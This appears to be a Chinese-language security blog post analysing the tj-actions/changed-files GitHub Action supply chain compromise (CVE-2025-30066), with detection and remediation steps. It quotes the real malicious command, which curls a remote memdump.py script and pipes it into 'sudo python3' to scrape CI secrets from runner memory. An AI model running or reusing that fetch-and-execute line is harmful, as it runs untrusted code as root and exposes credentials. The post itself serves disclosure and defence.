高危供应链攻击:深入剖析tj-actions/changed-files恶意代码漏洞CVE-2025-30066

本文详细分析了针对流行GitHub Action “tj-actions/changed-files”的供应链攻击(CVE-2025-30066)。攻击者通过篡改版本标签注入恶意代码,窃取CI/CD流程中的敏感秘密并泄露至构建日志,影响了超过23,000个代码仓库。文章包含技术细节、攻击原理、修复与缓解措施。

漏洞概述

一个针对流行GitHub Action “tj-actions/changed-files”的供应链攻击已被确认,该漏洞被标记为CVE-2025-30066[citation:5]。攻击者入侵了该Action项目,并篡改了其多个历史版本标签(如v1.0.0、v35.7.7-sec、v44.5.1),使其指向一个包含恶意代码的特定提交(SHA: 0e58ed8671d6b60d0890c21b07f8835ace038e67)[citation:1]。在2025年3月14日至15日期间,任何使用受影响版本(45.0.7及之前版本)的CI/CD工作流都存在风险[citation:1]。据估计,此次事件影响了超过23,000个代码仓库[citation:1][citation:2]。该漏洞已在v46.0.1版本中得到修复[citation:1]。

攻击技术细节

攻击载体与恶意代码

攻击的本质是供应链攻击嵌入式恶意代码[citation:1][citation:4]。攻击者获得了一个用于自动化流程的GitHub个人访问令牌(PAT),并利用它修改了“tj-actions/changed-files”的代码[citation:2]。

被注入的恶意代码会在GitHub Actions的Runner(工作流运行器)中执行一个Python脚本。该脚本的核心功能是从Runner Worker进程的内存中提取机密信息(Secrets)[citation:1]。

具体的恶意命令如下:

1
B64_BLOB=`curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3`

这条命令从外部地址下载一个Python脚本(memdump.py)并以root权限执行。该脚本会扫描内存,寻找并提取机密数据,然后将其进行双重Base64编码,最终输出到GitHub Actions的工作流日志中[citation:1][citation:10]。这使得机密信息可能对拥有日志访问权限的人(尤其是公共仓库)可见。

泄露的机密类型

可能被泄露的敏感信息包括但不限于[citation:4][citation:10]:

  • GitHub个人访问令牌(PATs)
  • 云服务API密钥(如AWS访问密钥)
  • npm令牌
  • 私有的RSA密钥
  • 其他在CI/CD环境中使用的密码和令牌

影响与风险分析

  • 直接影响:使用该Action的仓库,其CI/CD流程中使用的所有密钥和令牌都可能被泄露至日志中,面临被窃取的风险[citation:1]。
  • 主要风险方:拥有公共仓库的组织面临最高风险,因为其工作流日志默认是公开的,泄露的机密可能已被广泛查看[citation:1]。
  • 潜在后果:攻击者可以利用窃取的凭证获得对源代码仓库、云基础设施和生产环境的未授权访问,进而可能引发进一步的攻击[citation:1]。
  • CVSS评分:该漏洞的CVSS v3.1评分为8.6(高危)[citation:4][citation:5]。

检测与响应措施

如何检测是否受影响

  1. 检查工作流运行时间:审查所有在2025年3月14日至15日之间运行的、使用了tj-actions/changed-files的工作流[citation:1]。
  2. 审查日志:检查相关工作流日志的“changed-files”步骤,寻找异常的大段Base64编码输出[citation:1]。
  3. 解码验证:对日志中可疑的Base64字符串使用以下命令进行解码(因为数据被双重编码):
    1
    
    echo ‘可疑的Base64字符串’ | base64 -d | base64 -d
    
    如果输出包含看似令牌或密钥的数据,则表明机密可能已泄露[citation:1]。
  4. 网络流量监控:使用如Harden-Runner等安全工具,可以检测工作流是否曾向恶意域名(如gist.githubusercontent.com)发起未经授权的网络请求[citation:1]。

必须采取的修复行动

如果检测到受影响,必须立即按顺序执行以下步骤[citation:1][citation:10]:

  1. 立即撤销并轮换所有已暴露的机密:将所有在受影响工作流中使用的API密钥、令牌、密码等视为已泄露,并立即进行更换。这是最重要的一步[citation:2][citation:10]。
  2. 更新工作流配置
    • 如果工作流中直接引用了恶意的提交SHA(0e58ed8671d6b60d0890c21b07f8835ace038e67),必须立即更新引用[citation:1]。
    • 将Action的引用更新至已修复的版本v46.0.1或更高版本[citation:4][citation:10]。
    • 值得注意的是,被篡改的版本标签(如v44.5.1)事后已被官方修复并指向安全代码,但直接升级到最新版是最佳实践[citation:1]。

安全建议与最佳实践

为防止类似供应链攻击,建议采取以下长期安全加固措施:

  • 固定提交哈希值(PIN by SHA):在使用第三方GitHub Actions时,避免使用易变动的标签(如@v1),而是固定到某个经过验证的、完整的提交哈希值(例如 uses: actions/checkout@a81bbbf8292c0d03ea7322f6c42d7b0998f6c8e8)。这是社区在此次事件后强烈推荐的最关键安全实践[citation:7][citation:8]。
  • 审核第三方依赖:仅使用来自可信赖维护者和知名来源的Actions[citation:2]。
  • 定期轮换机密:即使没有安全事件,也应定期轮换CI/CD中使用的凭据。
  • 使用安全工具:考虑集成安全扫描工具,对代码库和工作流进行自动化安全审计。
  • 遵循官方指南:参考GitHub官方提供的GitHub Actions安全强化指南 [citation:1]。
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计